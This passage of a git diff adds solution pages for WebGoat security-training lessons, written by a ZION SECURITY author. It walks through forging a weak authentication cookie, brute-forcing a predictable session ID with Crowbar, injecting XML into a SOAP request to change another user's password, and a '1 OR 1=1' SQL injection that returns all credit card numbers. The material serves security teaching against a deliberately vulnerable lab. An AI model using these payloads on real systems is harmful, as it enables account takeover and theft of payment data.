+ +

Hit “Refresh” +to see the new cookie.

+ +

 

+ +

+ +

Figure 6 Cookie for user aspect

+ +

 

+ +

You have now +a different cookie value for AuthCookie: 65432udfgfb

+ +

 

+ + + + + + + + + + +
+

webgoat

+
+

ubphcfx

+
+

Aspect

+
+

udfgfb

+
+ +

 

+ +

This is an transposition +of the letters of the alphabet. Each letter is replaced with its successor, for +example t->u, a->b and the user name is reversed. So for user name alice the cookie will +contain the reversed user name ecila and the successors of the letters. This +results in fdjmb.

+ +

 

+ +

Login with +user name alice +and intercept the request in WebScarab. Add AuthCookie=65432fdjmb to the +existing cookie JSESSIONID.

+ +

 

+ +

 

+ +

 

+ +

+ +

Figure 7 Add AuthCookie to request

+ +

 

+ +

+ +

Figure 8 Lesson 11 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml new file mode 100644 index 000000000..ce42de1c0 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image001.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image001.png new file mode 100644 index 000000000..edac8c19a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image003.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image003.png new file mode 100644 index 000000000..0306a8f1f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image005.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image005.png new file mode 100644 index 000000000..7afb889fe Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image007.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image007.png new file mode 100644 index 000000000..5c6c3d9c8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image009.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image009.png new file mode 100644 index 000000000..6d110d265 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image011.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image011.png new file mode 100644 index 000000000..6831d62bf Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image013.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image013.png new file mode 100644 index 000000000..c04235add Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image013.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image015.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image015.png new file mode 100644 index 000000000..b0a6eceb4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image015.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image017.png b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image017.png new file mode 100644 index 000000000..78a1feb74 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image017.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg new file mode 100644 index 000000000..a6e68a265 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg new file mode 100644 index 000000000..338a42ed8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg new file mode 100644 index 000000000..c1662c8f0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg new file mode 100644 index 000000000..96f7253fd Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg new file mode 100644 index 000000000..c856ee032 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg new file mode 100644 index 000000000..1cbf8ff3a Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg new file mode 100644 index 000000000..d9b59af8b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg new file mode 100644 index 000000000..5d30443e1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg new file mode 100644 index 000000000..dec137dce Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID.html b/main/project/WebContent/lesson_solutions/WeakSessionID.html new file mode 100644 index 000000000..32e11cc15 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WeakSessionID.html @@ -0,0 +1,895 @@ + + + + + + + + + + + + + + + + + + + +
+ +

 

+ +

Lesson +Plan Title: How to +Hijack a Session

+ +

 

+ +

Concept / +Topic To Teach:

+ + + +

Application +developers who develop their own session IDs frequently forget to incorporate +the complexity and randomness necessary for security. If the user specific +session ID is not complex and random, then the application is highly +susceptible to session-based brute force attacks.

+ +

 

+ +

General +Goal(s):

+ +

Try to access +an authenticated session belonging to someone else.

+ + + +

 

+ +

In this +lesson the purpose is to predict the WEAKID value. The WEAKID is used to +differentiate authenticated and anonymous users of WebGoat.

+ +

 

+ +

+ +

 

+ +

 

+ +

Solution:

+ +

 

+ +

The easiest +way to complete this lesson is to use WebScarab’s Session ID Analysis.

+ +

 

+ +

Go to +WebScarab and click on the button “SessionID Analysis”. Select the last POST +request from the “Previous requests” drop-down box.

+ +

+ +

Figure 1 WebScarabs SessionID Analysis

+ +

 

+ +

To make sure +that WebScarab is able to fetch the WEAKID cookie, you need to click the “Test” +button on the bottom of the screen. A pop-up window must be shown like below.

+ +

 

+ +

+ +

Figure 2 SessionID WEAKID discovered

+ +

 

+ +

If you don’t +have a pop-up window with the Extracted Sessionids, you must edit the Request. +You must delete the WEAKID value from the request. Without this cookie value, +WebGoat will return a HTTP Header “Set-Cookie: WEAKID=value” so WebScarab +learns about this value.

+ +

 

+ +

 

+ +

Fetch 50 +samples and examine the results. Enter “50” in the “Samples” window and click +the button “Fetch”. You will not see any information about progress.

+ +

 

+ +

+ +

 

+ +

Now you need +to go to the tab “Analysis”.

+ +

 

+ +

+ +

 

+ +

In the “Analysis” +pane you see nothing.

+ +

+ +

You must +select the Session Identifier WEAKID value from the drop-down box.

+ +

 

+ +

+ +

 

+ +

The WEAKID is +divided in 2 parts: the first part is an identifier that is added 1 in every +cookie and a time value. The time value is calculated at the moment that you +submit the request.

+ +

 

+ +

Notice that +there is sometimes a gap in the first value of the WEAKID, skipping with 1. The +value that is missing is the value that you need to know to log on. Now you +only need to calculate the timestamp. This can be brute-forced using Crowbar. +You know the previous timestamp and the next timestamp so you have a start and +end value.

+ +

 

+ +

+ +

 

+ +

There is a +value 16935 and a value 16937 with a numeric difference of 28110 instead of +14109, so there the WEAKID cookie is located. Copy and paste the raw HTTP +request in Crowbar:

+ +

+ +

Figure 3 Crowbar

+ +

 

+ +

 

+ +

 

+ +

 

+ +

Change target +to localhost and the port to 80.

+ +

Create a Base +response. Make sure that you see “How to hijack a session” in the middle +window.

+ +

 

+ +

Insert ##1## +in the WEAKID parameter where you want to brute-force the value. Start the +first loop at 363093, the last digits of the last cookie before the +authentication cookie and 363203, the first cookie after the authentication +cookie. We have to brute-force these values, but we are sure that they lie +between these two boundaries.

+ +

Examine the +results until you see a different fuzzy logic value (the blue line J), right-click it and click on “Show +reply”.

+ +

 

+ +

+ +

Figure 4 Lesson 12 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/WeakSessionID_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WeakSessionID_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/filelist.xml b/main/project/WebContent/lesson_solutions/WeakSessionID_files/filelist.xml new file mode 100644 index 000000000..082acf789 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WeakSessionID_files/filelist.xml @@ -0,0 +1,25 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image001.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image001.png new file mode 100644 index 000000000..560ca80c0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image003.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image003.png new file mode 100644 index 000000000..f0100265e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image005.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image005.png new file mode 100644 index 000000000..c42733b93 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image007.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image007.png new file mode 100644 index 000000000..a34c6751c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image010.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image010.png new file mode 100644 index 000000000..0c6fe9313 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image010.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image012.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image012.png new file mode 100644 index 000000000..46b787813 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image012.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image014.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image014.png new file mode 100644 index 000000000..bde7fd0bd Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image014.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image016.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image016.png new file mode 100644 index 000000000..d25bc4167 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image016.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image018.png b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image018.png new file mode 100644 index 000000000..bb0344681 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image018.png differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image020.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image020.jpg new file mode 100644 index 000000000..b825cea5d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image020.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image021.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image021.jpg new file mode 100644 index 000000000..a7fd9b516 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image021.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image022.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image022.jpg new file mode 100644 index 000000000..b38898623 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image022.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image023.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image023.jpg new file mode 100644 index 000000000..0c3616032 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image023.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image024.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image024.jpg new file mode 100644 index 000000000..632ca5835 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image024.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image025.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image025.jpg new file mode 100644 index 000000000..0ab015bbb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image025.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image026.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image026.jpg new file mode 100644 index 000000000..bc5a7fe32 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image026.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image027.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image027.jpg new file mode 100644 index 000000000..7bbdb5f09 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image027.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image028.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image028.jpg new file mode 100644 index 000000000..4530c95f9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image028.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/image029.jpg b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image029.jpg new file mode 100644 index 000000000..112d5259b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/image029.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WeakSessionID_files/themedata.thmx b/main/project/WebContent/lesson_solutions/WeakSessionID_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WeakSessionID_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection.html b/main/project/WebContent/lesson_solutions/WsSAXInjection.html new file mode 100644 index 000000000..ec98e6c30 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WsSAXInjection.html @@ -0,0 +1,916 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: How to Perform Web Service SAX +Injection

+ +

 

+ +

Concept / Topic To Teach:

+ + + +

Web Services +communicate through the use of SOAP requests. These requests are submitted to a +web service in an attempt to execute a function defined in the web service +definition language (WSDL) file.

+ +

 

+ +

General Goal(s):

+ +

Some web +interfaces make use of Web Services in the background. If the frontend relies +on the web service for all input validation, it may be possible to corrupt the +XML that the web interface sends.
+
+

+ +

In this +exercise, try to change the password for a user other than 101.

+ +

 

+ +

 

+ +

 

+ +

Solution:

+ +

 

+ +

To succeed +this lesson it is required to reset the password of the user with a different +user-ID then 101 (which is your user-ID)

+ +

.

+ +

When you fill +out a password and click on “Go!” the following XML request will be created, +submit and parsed by the SAX parser:

+ +

 

+ +
<?xml version='1.0' encoding='UTF-8'?>
<wsns0:Envelope
  xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
  xmlns:xsd='http://www.w3.org/2001/XMLSchema'
  xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
  xmlns:wsns1='http://lessons.webgoat.owasp.org'>
  <wsns0:Body>
    <wsns1:changePassword>
      <id xsi:type='xsd:int'>101</id>
      <password xsi:type='xsd:string'>[password]</password>
    </wsns1:changePassword>
  </wsns0:Body>
</wsns0:Envelope>
+ +

 

+ +

SAX parsers will parse anything that +is well-formed, meaning that there are matching end and close tags and that the +schema is correct. When you are able to add a new changePAssword element with +corresponding id tag and password tag, the SAX parser will be more than happy +to change the password for the user-ID provided.

+ +

So you need to have something like +this as a final result:

+ +

 

+ +

<?xml version='1.0' +encoding='UTF-8'?>

+ +

<wsns0:Envelope

+ +

  +xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

+ +

  +xmlns:xsd='http://www.w3.org/2001/XMLSchema'

+ +

  +xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'

+ +

  +xmlns:wsns1='http://lessons.webgoat.owasp.org'>

+ +

  +<wsns0:Body>

+ +

    +<wsns1:changePassword>

+ +

      +<id xsi:type='xsd:int'>101</id>

+ +

      +<password xsi:type='xsd:string'>[password]</password>

+ +

    +</wsns1:changePassword>

+ +

    +<wsns1:changePassword>

+ +

      +<id xsi:type='xsd:int'>102</id>

+ +

      +<password xsi:type='xsd:string'>notforyoutoknow</password>

+ +

    +</wsns1:changePassword>

+ +

  +</wsns0:Body>

+ +

</wsns0:Envelope>

+ +

 

+ +

This requires to inject:

+ +

newpassword</password>

+ +

    +</wsns1:changePassword>

+ +

    +<wsns1:changePassword>

+ +

      +<id xsi:type='xsd:int'>102</id>

+ +

      +<password xsi:type='xsd:string'>notforyoutoknow

+ +

 

+ +

There are field-limitations in the +HTML input field, so it is required to intercept the HTTP Request with +WebScarab and replace the parameter password with the payload.

+ +

 

+ +

Enter a password ‘test’ and click +“Go!”.

+ +

+ +

Figure +113 Reset password with test

+ +

 

+ +

Intercept the request in WebScarab and +replace the string test with the payload.

+ +

 

+ +

+ +

Figure +114 Intercept request

+ +

 

+ +

+ +

Figure +115 Inject XML payload

+ +

 

+ +

+ +

Figure +116 Lesson completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/filelist.xml new file mode 100644 index 000000000..56559fd6d --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/filelist.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image001.png b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image001.png new file mode 100644 index 000000000..ba76d14d9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image002.jpg b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image002.jpg new file mode 100644 index 000000000..24692deda Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image003.png b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image003.png new file mode 100644 index 000000000..be045e27f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image004.jpg b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image004.jpg new file mode 100644 index 000000000..c6698ffba Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image005.png b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image005.png new file mode 100644 index 000000000..84e5ff852 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image006.jpg b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image006.jpg new file mode 100644 index 000000000..40dcd7832 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image007.png b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image007.png new file mode 100644 index 000000000..94b298db1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image008.jpg b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image008.jpg new file mode 100644 index 000000000..9faeaaac1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image009.png b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image009.png new file mode 100644 index 000000000..acdfd2592 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image010.jpg b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image010.jpg new file mode 100644 index 000000000..ad7400d38 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/image010.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSAXInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSAXInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection.html b/main/project/WebContent/lesson_solutions/WsSqlInjection.html new file mode 100644 index 000000000..80c381862 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WsSqlInjection.html @@ -0,0 +1,765 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform Web Service SQL Injection

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Web +Services communicate through the use of SOAP requests. These requests are +submitted to a web service in an attempt to execute a function defined in the +web service definition language (WSDL) file.

+ +

 

+ +

General +Goal(s):

+ +

Check the web +service description language (WSDL) file and try to obtain multiple customer +credit card numbers. You will not see the results returned to this screen. When +you believe you have suceeded, refresh the page and look for the 'green star'.

+ +

Solution:

+ +

 

+ +

This lesson +can be solved easily by using a web services tool called SOAPUI. But here you +will only use WebScarab. Go in WebScarab to the tab “Web Services”. You will +see a history of invoked web services or WSDL files.

+ +

 

+ +

+ +

Figure 1 Lesson 23

+ +

 

+ +

Open the +WebGoat WSDL file for this lesson (WsSqlInjection?WSDL) in a new window.

+ +

 

+ +

In WebScarab +you can select this WSDL from the top drop-down box. And WebScarab will parse +the XML file so you can select the operations to invoke. Then you can enter a +value for the parameters used to invoke the operation. For example fill out the +integer 101 for the ID value and click “Execute”. WebScarab will pop-up a basic +authentication window. Enter guest/guest and click “Ok”.

+ +

 

+ +

+ +

Figure 2 Basic authentication

+ +

 

+ +

+ +

Figure 3 Webservice Response

+ +

 

+ +

What happens +if you change 101 to 1 OR 1=1? Will you get all the credit cards?

+ +

Yes J

+ +

 

+ +

+ +

Figure 4 All the credit cards

+ +

 

+ +

Remark: when you don’t get any responses you +might want to select the service and operation again from the drop-down box. A nice +feature here would be the ability to make a raw SOAP request.

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/filelist.xml b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/filelist.xml new file mode 100644 index 000000000..2596e1075 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/filelist.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image001.png b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image001.png new file mode 100644 index 000000000..82abbd808 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image002.jpg b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image002.jpg new file mode 100644 index 000000000..60c86b971 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image003.png b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image003.png new file mode 100644 index 000000000..e658bb1b9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image004.jpg b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image004.jpg new file mode 100644 index 000000000..cb476bc0d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image005.png b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image005.png new file mode 100644 index 000000000..d1db6bcb8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image006.jpg b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image006.jpg new file mode 100644 index 000000000..f3e91d5e9 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image007.png b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image007.png new file mode 100644 index 000000000..d3bd79b6b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image008.jpg b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image008.jpg new file mode 100644 index 000000000..50c57e172 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/WsSqlInjection_files/themedata.thmx b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/WsSqlInjection_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/XMLInjection.html b/main/project/WebContent/lesson_solutions/XMLInjection.html new file mode 100644 index 000000000..eaeac0ac9 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/XMLInjection.html @@ -0,0 +1,862 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Perform XML Injection Attacks.

+ +

 

+ +

